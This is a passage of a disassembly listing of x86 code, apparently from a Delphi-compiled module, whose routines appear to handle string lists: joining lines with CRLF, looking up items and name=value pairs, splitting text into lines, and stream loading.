ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi push edi xor ecx, ecx mov [ebp+var_20], ecx mov [ebp+var_18], ecx mov [ebp+var_1C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_20010A43 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] mov edx, [eax] call dword ptr [edx+14h] mov [ebp+var_10], eax xor ebx, ebx lea eax, [ebp+var_1C] mov edx, offset dword_20010A5C call sub_20004040 mov esi, [ebp+var_10] dec esi test esi, esi jl short loc_200109B4 inc esi mov [ebp+var_C], 0 loc_2001098A: ; CODE XREF: sub_20010938+7Aj lea ecx, [ebp+var_20] mov edx, [ebp+var_C] mov eax, [ebp+var_4] mov edi, [eax] call dword ptr [edi+0Ch] mov eax, [ebp+var_20] call sub_20004244 mov edi, eax mov eax, [ebp+var_1C] call sub_20004244 add edi, eax add ebx, edi inc [ebp+var_C] dec esi jnz short loc_2001098A loc_200109B4: ; CODE XREF: sub_20010938+48j mov eax, [ebp+var_8] mov ecx, ebx xor edx, edx call sub_20004098 mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_14], eax mov esi, [ebp+var_10] dec esi test esi, esi jl short loc_20010A28 inc esi mov [ebp+var_C], 0 loc_200109D8: ; CODE XREF: sub_20010938+EEj lea ecx, [ebp+var_18] mov edx, [ebp+var_C] mov eax, [ebp+var_4] mov ebx, [eax] call dword ptr [ebx+0Ch] mov eax, [ebp+var_18] call sub_20004244 mov ebx, eax test ebx, ebx jz short loc_20010A04 mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov ecx, ebx call sub_200027FC add [ebp+var_14], ebx loc_20010A04: ; CODE XREF: sub_20010938+BAj mov eax, [ebp+var_1C] call sub_20004244 mov ebx, eax test ebx, ebx jz short loc_20010A22 mov edx, [ebp+var_14] mov eax, [ebp+var_1C] mov ecx, ebx call sub_200027FC add [ebp+var_14], ebx loc_20010A22: ; CODE XREF: sub_20010938+D8j inc [ebp+var_C] dec esi jnz short loc_200109D8 loc_20010A28: ; CODE XREF: sub_20010938+96j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010A4A loc_20010A35: ; CODE XREF: sub_20010938+110j lea eax, [ebp+var_20] mov edx, 3 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_20010A43: ; DATA XREF: sub_20010938+1Do jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010A35 ; --------------------------------------------------------------------------- loc_20010A4A: ; CODE XREF: sub_20010938+10Aj ; DATA XREF: sub_20010938+F8o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_20010938 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_20010A5C dd 0A0Dh ; DATA XREF: sub_20010938+38o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010A60 proc near ; CODE XREF: sub_200114C0+11p ; DATA XREF: CODE:2000F83Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi xor ecx, ecx mov [ebp+var_C], ecx mov [ebp+var_4], edx mov ebx, eax xor eax, eax push ebp push offset loc_20010AD8 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx mov edx, [eax] call dword ptr [edx+14h] mov esi, eax dec esi test esi, esi jl short loc_20010ABB inc esi mov [ebp+var_8], 0 loc_20010A97: ; CODE XREF: sub_20010A60+59j lea ecx, [ebp+var_C] mov edx, [ebp+var_8] mov eax, ebx mov edi, [eax] call dword ptr [edi+0Ch] mov edx, [ebp+var_C] mov ecx, [ebp+var_4] mov eax, ebx mov edi, [eax] call dword ptr [edi+34h] test eax, eax jz short loc_20010AC2 inc [ebp+var_8] dec esi jnz short loc_20010A97 loc_20010ABB: ; CODE XREF: sub_20010A60+2Dj mov [ebp+var_8], 0FFFFFFFFh loc_20010AC2: ; CODE XREF: sub_20010A60+53j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010ADF loc_20010ACF: ; CODE XREF: sub_20010A60+7Dj lea eax, [ebp+var_C] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20010AD8: ; DATA XREF: sub_20010A60+16o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010ACF ; --------------------------------------------------------------------------- loc_20010ADF: ; CODE XREF: sub_20010A60+77j ; DATA XREF: sub_20010A60+6Ao mov eax, [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_20010A60 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010AEC proc near ; DATA XREF: CODE:2000F840o ; CODE:2000F970o var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx push esi xor ecx, ecx mov [ebp+var_18], ecx mov [ebp+var_14], ecx mov [ebp+var_C], ecx mov [ebp+var_4], edx mov ebx, eax xor eax, eax push ebp push offset loc_20010BAF push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx mov edx, [eax] call dword ptr [edx+14h] dec eax test eax, eax jl short loc_20010B85 inc eax mov [ebp+var_10], eax mov [ebp+var_8], 0 loc_20010B29: ; CODE XREF: sub_20010AEC+97j lea ecx, [ebp+var_C] mov edx, [ebp+var_8] mov eax, ebx mov esi, [eax] call dword ptr [esi+0Ch] mov eax, ebx call sub_2001114C mov edx, eax lea eax, [ebp+var_14] call sub_20004190 mov eax, [ebp+var_14] mov edx, [ebp+var_C] call sub_2000B03C mov esi, eax test esi, esi jz short loc_20010B7D lea eax, [ebp+var_18] push eax mov ecx, esi dec ecx mov edx, 1 mov eax, [ebp+var_C] call sub_200044A4 mov edx, [ebp+var_18] mov ecx, [ebp+var_4] mov eax, ebx mov esi, [eax] call dword ptr [esi+34h] test eax, eax jz short loc_20010B8C loc_20010B7D: ; CODE XREF: sub_20010AEC+6Aj inc [ebp+var_8] dec [ebp+var_10] jnz short loc_20010B29 loc_20010B85: ; CODE XREF: sub_20010AEC+30j mov [ebp+var_8], 0FFFFFFFFh loc_20010B8C: ; CODE XREF: sub_20010AEC+8Fj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010BB6 loc_20010B99: ; CODE XREF: sub_20010AEC+C8j lea eax, [ebp+var_18] mov edx, 2 call sub_20003FCC lea eax, [ebp+var_C] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20010BAF: ; DATA XREF: sub_20010AEC+1Bo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010B99 ; --------------------------------------------------------------------------- loc_20010BB6: ; CODE XREF: sub_20010AEC+C2j ; DATA XREF: sub_20010AEC+A8o mov eax, [ebp+var_8] pop esi pop ebx mov esp, ebp pop ebp retn sub_20010AEC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20010BC0 proc near ; DATA XREF: CODE:2000F844o ; CODE:2000F974o push ebx push esi push edi push ebp mov ebp, edx mov edi, eax mov eax, edi mov edx, [eax] call dword ptr [edx+14h] mov ebx, eax dec ebx test ebx, ebx jl short loc_20010BEA inc ebx xor esi, esi loc_20010BD9: ; CODE XREF: sub_20010BC0+28j mov edx, esi mov eax, edi mov ecx, [eax] call dword ptr [ecx+18h] cmp ebp, eax jz short loc_20010BED inc esi dec ebx jnz short loc_20010BD9 loc_20010BEA: ; CODE XREF: sub_20010BC0+14j or esi, 0FFFFFFFFh loc_20010BED: ; CODE XREF: sub_20010BC0+24j mov eax, esi pop ebp pop edi pop esi pop ebx retn sub_20010BC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010BF4 proc near ; DATA XREF: CODE:2000F84Co var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], ecx mov edi, edx mov esi, eax mov ecx, [ebp+var_4] mov edx, edi mov eax, esi mov ebx, [eax] call dword ptr [ebx+60h] mov ecx, [ebp+arg_0] mov edx, edi mov eax, esi mov ebx, [eax] call dword ptr [ebx+24h] pop edi pop esi pop ebx pop ecx pop ebp retn 4 sub_20010BF4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010C24 proc near ; DATA XREF: CODE:2000F850o ; CODE:2000F980o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push esi mov esi, eax push 20h mov ecx, edx mov eax, off_2000FACC mov dl, 1 call sub_20011AB4 mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_20010C6C push dword ptr fs:[eax] mov fs:[eax], esp mov edx, [ebp+var_4] mov eax, esi mov ecx, [eax] call dword ptr [ecx+6Ch] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010C73 loc_20010C63: ; CODE XREF: sub_20010C24+4Dj mov eax, [ebp+var_4] call sub_200034F4 retn ; --------------------------------------------------------------------------- loc_20010C6C: ; DATA XREF: sub_20010C24+1Do jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010C63 ; --------------------------------------------------------------------------- loc_20010C73: ; CODE XREF: sub_20010C24+47j ; DATA XREF: sub_20010C24+3Ao pop esi pop ecx pop ebp retn sub_20010C24 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010C78 proc near ; DATA XREF: CODE:2000F854o ; CODE:2000F984o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi xor ecx, ecx mov [ebp+var_8], ecx mov ebx, edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_20010D15 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_200105E4 xor eax, eax push ebp push offset loc_20010CF8 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx mov edx, [eax] call dword ptr [edx] mov esi, eax mov eax, ebx call sub_200117B4 sub esi, eax lea eax, [ebp+var_8] mov ecx, esi xor edx, edx call sub_20004098 mov edx, [ebp+var_8] mov ecx, esi mov eax, ebx mov ebx, [eax] call dword ptr [ebx+0Ch] mov edx, [ebp+var_8] mov eax, [ebp+var_4] mov ecx, [eax] call dword ptr [ecx+2Ch] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010CFF loc_20010CEF: ; CODE XREF: sub_20010C78+85j mov eax, [ebp+var_4] call near ptr loc_2001069B+5 retn ; --------------------------------------------------------------------------- loc_20010CF8: ; DATA XREF: sub_20010C78+2Bo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010CEF ; --------------------------------------------------------------------------- loc_20010CFF: ; CODE XREF: sub_20010C78+7Fj ; DATA XREF: sub_20010C78+72o xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010D1C loc_20010D0C: ; CODE XREF: sub_20010C78+A2j lea eax, [ebp+var_8] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20010D15: ; DATA XREF: sub_20010C78+15o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010D0C ; --------------------------------------------------------------------------- loc_20010D1C: ; CODE XREF: sub_20010C78+9Cj ; DATA XREF: sub_20010C78+8Fo pop esi pop ebx pop ecx pop ecx pop ebp retn sub_20010C78 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010D24 proc near ; DATA XREF: CODE:2000F858o ; CODE:2000F988o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi xor ebx, ebx mov [ebp+var_8], ebx mov esi, ecx mov ebx, edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_20010DC5 push dword ptr fs:[eax] mov fs:[eax], esp cmp esi, ebx jz short loc_20010DAF mov eax, [ebp+var_4] call sub_200105E4 xor eax, eax push ebp push offset loc_20010DA8 push dword ptr fs:[eax] mov fs:[eax], esp lea ecx, [ebp+var_8] mov edx, ebx mov eax, [ebp+var_4] mov edi, [eax] call dword ptr [edi+0Ch] mov edx, ebx mov eax, [ebp+var_4] mov ecx, [eax] call dword ptr [ecx+18h] mov edi, eax mov edx, ebx mov eax, [ebp+var_4] mov ecx, [eax] call dword ptr [ecx+48h] push edi mov ecx, [ebp+var_8] mov edx, esi mov eax, [ebp+var_4] mov ebx, [eax] call dword ptr [ebx+64h] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010DAF loc_20010D9F: ; CODE XREF: sub_20010D24+89j mov eax, [ebp+var_4] call near ptr loc_2001069B+5 retn ; --------------------------------------------------------------------------- loc_20010DA8: ; DATA XREF: sub_20010D24+32o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010D9F ; --------------------------------------------------------------------------- loc_20010DAF: ; CODE XREF: sub_20010D24+25j ; sub_20010D24+83j ; DATA XREF: ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010DCC loc_20010DBC: ; CODE XREF: sub_20010D24+A6j lea eax, [ebp+var_8] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20010DC5: ; DATA XREF: sub_20010D24+18o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010DBC ; --------------------------------------------------------------------------- loc_20010DCC: ; CODE XREF: sub_20010D24+A0j ; DATA XREF: sub_20010D24+93o pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_20010D24 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20010DD4 proc near ; DATA XREF: CODE:2000F808o var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov [esp+14h+var_14], ecx mov edi, edx mov esi, eax mov edx, edi mov eax, esi mov ecx, [eax] call dword ptr [ecx+18h] mov ebp, eax mov edx, edi mov eax, esi mov ecx, [eax] call dword ptr [ecx+48h] push ebp mov ecx, [esp+18h+var_14] mov edx, edi mov eax, esi mov ebx, [eax] call dword ptr [ebx+64h] pop edx pop ebp pop edi pop esi pop ebx retn sub_20010DD4 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010E0C proc near ; DATA XREF: sub_20010654+11o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h xor ecx, ecx mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_20010EB0 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_8] call sub_20011EA4 mov eax, [ebp+var_4] call sub_200105E4 xor eax, eax push ebp push offset loc_20010E8B push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] mov edx, [eax] call dword ptr [edx+44h] jmp short loc_20010E69 ; --------------------------------------------------------------------------- loc_20010E53: ; CODE XREF: sub_20010E0C+67j lea edx, [ebp+var_C] mov eax, [ebp+var_8] call sub_20011EF0 mov edx, [ebp+var_C] mov eax, [ebp+var_4] mov ecx, [eax] call dword ptr [ecx+38h] loc_20010E69: ; CODE XREF: sub_20010E0C+45j mov eax, [ebp+var_8] call sub_20011DF8 test al, al jz short loc_20010E53 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010E92 loc_20010E82: ; CODE XREF: sub_20010E0C+84j mov eax, [ebp+var_4] call near ptr loc_2001069B+5 retn ; --------------------------------------------------------------------------- loc_20010E8B: ; DATA XREF: sub_20010E0C+32o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010E82 ; --------------------------------------------------------------------------- loc_20010E92: ; CODE XREF: sub_20010E0C+7Ej ; DATA XREF: sub_20010E0C+71o mov eax, [ebp+var_8] call sub_20011EAC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010EB7 loc_20010EA7: ; CODE XREF: sub_20010E0C+A9j lea eax, [ebp+var_C] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20010EB0: ; DATA XREF: sub_20010E0C+14o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010EA7 ; --------------------------------------------------------------------------- loc_20010EB7: ; CODE XREF: sub_20010E0C+A3j ; DATA XREF: sub_20010E0C+96o mov esp, ebp pop ebp retn sub_20010E0C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010EBC proc near ; DATA XREF: CODE:2000F85Co ; CODE:2000F98Co var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push esi mov esi, eax push 0FFFFh mov ecx, edx mov eax, off_2000FACC mov dl, 1 call sub_20011AB4 mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_20010F07 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, [ebp+var_4] mov eax, esi mov ecx, [eax] call dword ptr [ecx+78h] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010F0E loc_20010EFE: ; CODE XREF: sub_20010EBC+50j mov eax, [ebp+var_4] call sub_200034F4 retn ; --------------------------------------------------------------------------- loc_20010F07: ; DATA XREF: sub_20010EBC+20o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010EFE ; --------------------------------------------------------------------------- loc_20010F0E: ; CODE XREF: sub_20010EBC+4Aj ; DATA XREF: sub_20010EBC+3Do pop esi pop ecx pop ebp retn sub_20010EBC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010F14 proc near ; DATA XREF: CODE:2000F860o ; CODE:2000F990o var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx push esi mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_20010F61 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, ebx mov ecx, [eax] call dword ptr [ecx+1Ch] mov eax, [ebp+var_4] call sub_20004244 mov ecx, eax mov edx, [ebp+var_4] mov eax, esi call sub_200119B8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010F68 loc_20010F58: ; CODE XREF: sub_20010F14+52j lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20010F61: ; DATA XREF: sub_20010F14+Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010F58 ; --------------------------------------------------------------------------- loc_20010F68: ; CODE XREF: sub_20010F14+4Cj ; DATA XREF: sub_20010F14+3Fo pop esi pop ebx pop ecx pop ebp retn sub_20010F14 endp ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_20010F74 proc near ; CODE XREF: sub_2001041C+Fp push ebx push esi mov esi, edx mov ebx, eax cmp dword ptr [ebx+0Ch], 0 jz short loc_20010F88 mov eax, [ebx+0Ch] mov edx, [eax] call dword ptr [edx+10h] loc_20010F88: ; CODE XREF: sub_20010F74+Aj lea eax, [ebx+0Ch] mov edx, esi call sub_2000550C cmp dword ptr [ebx+0Ch], 0 jz short loc_20010FA2 mov edx, ebx mov eax, [ebx+0Ch] mov ecx, [eax] call dword ptr [ecx+0Ch] loc_20010FA2: ; CODE XREF: sub_20010F74+22j pop esi pop ebx retn sub_20010F74 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010FA8 proc near ; DATA XREF: CODE:2000F864o ; CODE:2000F994o var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx push esi mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_20010FEB push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] mov edx, esi call sub_200041A0 mov edx, [ebp+var_4] mov eax, ebx mov ecx, [eax] call dword ptr [ecx+2Ch] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010FF2 loc_20010FE2: ; CODE XREF: sub_20010FA8+48j lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20010FEB: ; DATA XREF: sub_20010FA8+Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010FE2 ; --------------------------------------------------------------------------- loc_20010FF2: ; CODE XREF: sub_20010FA8+42j ; DATA XREF: sub_20010FA8+35o pop esi pop ebx pop ecx pop ebp retn sub_20010FA8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010FF8 proc near ; DATA XREF: CODE:2000F814o ; CODE:2000F944o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx xor ecx, ecx mov [ebp+var_8], ecx mov ebx, edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_200110AC push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_200105E4 xor edx, edx push ebp push offset loc_2001108F push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] mov edx, [eax] call dword ptr [edx+44h] test ebx, ebx jz short loc_20011079 jmp short loc_20011074 ; --------------------------------------------------------------------------- loc_2001103B: ; CODE XREF: sub_20010FF8+7Fj mov eax, ebx jmp short loc_20011040 ; --------------------------------------------------------------------------- loc_2001103F: ; CODE XREF: sub_20010FF8+56j inc ebx loc_20011040: ; CODE XREF: sub_20010FF8+45j mov dl, [ebx] test dl, dl jz short loc_20011050 sub dl, 0Ah jz short loc_20011050 sub dl, 3 jnz short loc_2001103F loc_20011050: ; CODE XREF: sub_20010FF8+4Cj ; sub_20010FF8+51j mov ecx, ebx sub ecx, eax lea edx, [ebp+var_8] xchg eax, edx call sub_20004098 mov edx, [ebp+var_8] mov eax, [ebp+var_4] mov ecx, [eax] call dword ptr [ecx+38h] cmp byte ptr [ebx], 0Dh jnz short loc_2001106E inc ebx loc_2001106E: ; CODE XREF: sub_20010FF8+73j cmp byte ptr [ebx], 0Ah jnz short loc_20011074 inc ebx loc_20011074: ; CODE XREF: sub_20010FF8+41j ; sub_20010FF8+79j cmp byte ptr [ebx], 0 jnz short loc_2001103B loc_20011079: ; CODE XREF: sub_20010FF8+3Fj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20011096 loc_20011086: ; CODE XREF: sub_20010FF8+9Cj mov eax, [ebp+var_4] call near ptr loc_2001069B+5 retn ; --------------------------------------------------------------------------- loc_2001108F: ; DATA XREF: sub_20010FF8+2Ao jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20011086 ; --------------------------------------------------------------------------- loc_20011096: ; CODE XREF: sub_20010FF8+96j ; DATA XREF: sub_20010FF8+89o xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200110B3 loc_200110A3: ; CODE XREF: sub_20010FF8+B9j lea eax, [ebp+var_8] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_200110AC: ; DATA XREF: sub_20010FF8+14o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200110A3 ; --------------------------------------------------------------------------- loc_200110B3: ; CODE XREF: sub_20010FF8+B3j ; DATA XREF: sub_20010FF8+A6o pop ebx pop ecx pop ecx pop ebp retn sub_20010FF8 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200110BC proc near ; DATA XREF: sub_20010654+1Ao var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi xor ecx, ecx mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_20011132 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_8] call sub_20012430 mov eax, [ebp+var_4] mov edx, [eax] call dword ptr [edx+14h] mov ebx, eax dec ebx test ebx, ebx jl short loc_20011114 inc ebx xor esi, esi loc_200110F8: ; CODE XREF: sub_200110BC+56j lea ecx, [ebp+var_C] mov edx, esi mov eax, [ebp+var_4] mov edi, [eax] call dword ptr [edi+0Ch] mov edx, [ebp+var_C] mov eax, [ebp+var_8] call sub_200124D8 inc esi dec ebx jnz short loc_200110F8 loc_20011114: ; CODE XREF: sub_200110BC+37j mov eax, [ebp+var_8] call sub_20012438 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20011139 loc_20011129: ; CODE XREF: sub_200110BC+7Bj lea eax, [ebp+var_C] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20011132: ; DATA XREF: sub_200110BC+17o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20011129 ; --------------------------------------------------------------------------- loc_20011139: ; CODE XREF: sub_200110BC+75j ; DATA XREF: sub_200110BC+68o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_200110BC endp ; =============== S U B R O U T I N E ======================================= sub_20011140 proc near ; DATA XREF: CODE:2000F81Co mov eax, edx mov edx, ecx call sub_20007074 retn sub_20011140 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2001114C proc near ; CODE XREF: sub_20010AEC+4Cp push ebx mov ebx, eax test byte ptr [ebx+4], 4 jnz short loc_2001115E mov dl, 3Dh mov eax, ebx call sub_20011164 loc_2001115E: ; CODE XREF: sub_2001114C+7j mov al, [ebx+7] pop ebx retn sub_2001114C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20011164 proc near ; CODE XREF: sub_2001114C+Dp push ebx push esi mov ebx, edx mov esi, eax cmp bl, [esi+7] jnz short loc_20011175 test byte ptr [esi+4], 4 jnz short loc_2001117C loc_20011175: ; CODE XREF: sub_20011164+9j or byte ptr [esi+4], 4 mov [esi+7], bl loc_2001117C: ; CODE XREF: sub_20011164+Fj pop esi pop ebx retn sub_20011164 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20011180 proc near ; DATA XREF: CODE:2000F914o push ebx push esi call sub_200037A4 mov ebx, edx mov esi, eax xor eax, eax mov [esi+20h], eax mov [esi+24h], eax xor eax, eax mov [esi+28h], eax mov [esi+2Ch], eax mov edx, ebx and dl, 0FCh mov eax, esi call sub_2001041C mov eax, [esi+14h] test eax, eax jz short loc_200111BE mov ecx, eax mov eax, [esi+10h] mov edx, off_2000F8A8 call sub_2000493C loc_200111BE: ; CODE XREF: sub_20011180+2Cj xor eax, eax mov [esi+14h], eax xor edx, edx mov eax, esi mov ecx, [eax] call dword ptr [ecx+28h] test bl, bl jle short loc_200111D7 mov eax, esi call sub_2000378C loc_200111D7: ; CODE XREF: sub_20011180+4Ej pop esi pop ebx retn sub_20011180 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200111DC proc near ; DATA XREF: CODE:2000F950o push ebx xor ecx, ecx mov ebx, [eax] call dword ptr [ebx+3Ch] pop ebx retn sub_200111DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200111E8 proc near ; DATA XREF: CODE:2000F954o var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov edi, ecx mov esi, edx mov ebx, eax cmp byte ptr [ebx+1Ch], 0 jnz short loc_20011201 mov eax, [ebx+14h] mov [esp+14h+var_14], eax jmp short loc_2001122F ; --------------------------------------------------------------------------- loc_20011201: ; CODE XREF: sub_200111E8+Fj mov ecx, esp mov edx, esi mov eax, ebx mov ebp, [eax] call dword ptr [ebp+8Ch] test al, al jz short loc_2001122F mov al, [ebx+1Dh] sub al, 1 jb short loc_20011240 dec al jz short loc_20011220 jmp short loc_2001122F ; --------------------------------------------------------------------------- loc_20011220: ; CODE XREF: sub_200111E8+34j mov edx, ds:off_20014444 xor ecx, ecx mov eax, ebx call sub_20010798 loc_2001122F: ; CODE XREF: sub_200111E8+17j ; sub_200111E8+29j ... push edi mov ecx, esi mov edx, [esp+18h+var_14] mov eax, ebx mov ebx, [eax] call dword ptr [ebx+88h] loc_20011240: ; CODE XREF: sub_200111E8+30j mov eax, [esp+14h+var_14] pop edx pop ebp pop edi pop esi pop ebx retn sub_200111E8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2001124C proc near ; DATA XREF: CODE:2000F998o push ebx cmp dword ptr [eax+8], 0 jnz short loc_20011264 cmp word ptr [eax+22h], 0 jz short loc_20011264 mov ebx, eax mov edx, eax mov eax, [ebx+24h] call dword ptr [ebx+20h] loc_20011264: ; CODE XREF: sub_2001124C+5j ; sub_2001124C+Cj pop ebx retn sub_2001124C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20011268 proc near ; DATA XREF: CODE:2000F99Co push ebx cmp dword ptr [eax+8], 0 jnz short loc_20011280 cmp word ptr [eax+2Ah], 0 jz short loc_20011280 mov ebx, eax mov edx, eax mov eax, [ebx+2Ch] call dword ptr [ebx+28h] loc_20011280: ; CODE XREF: sub_20011268+5j ; sub_20011268+Cj pop ebx retn sub_20011268 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R 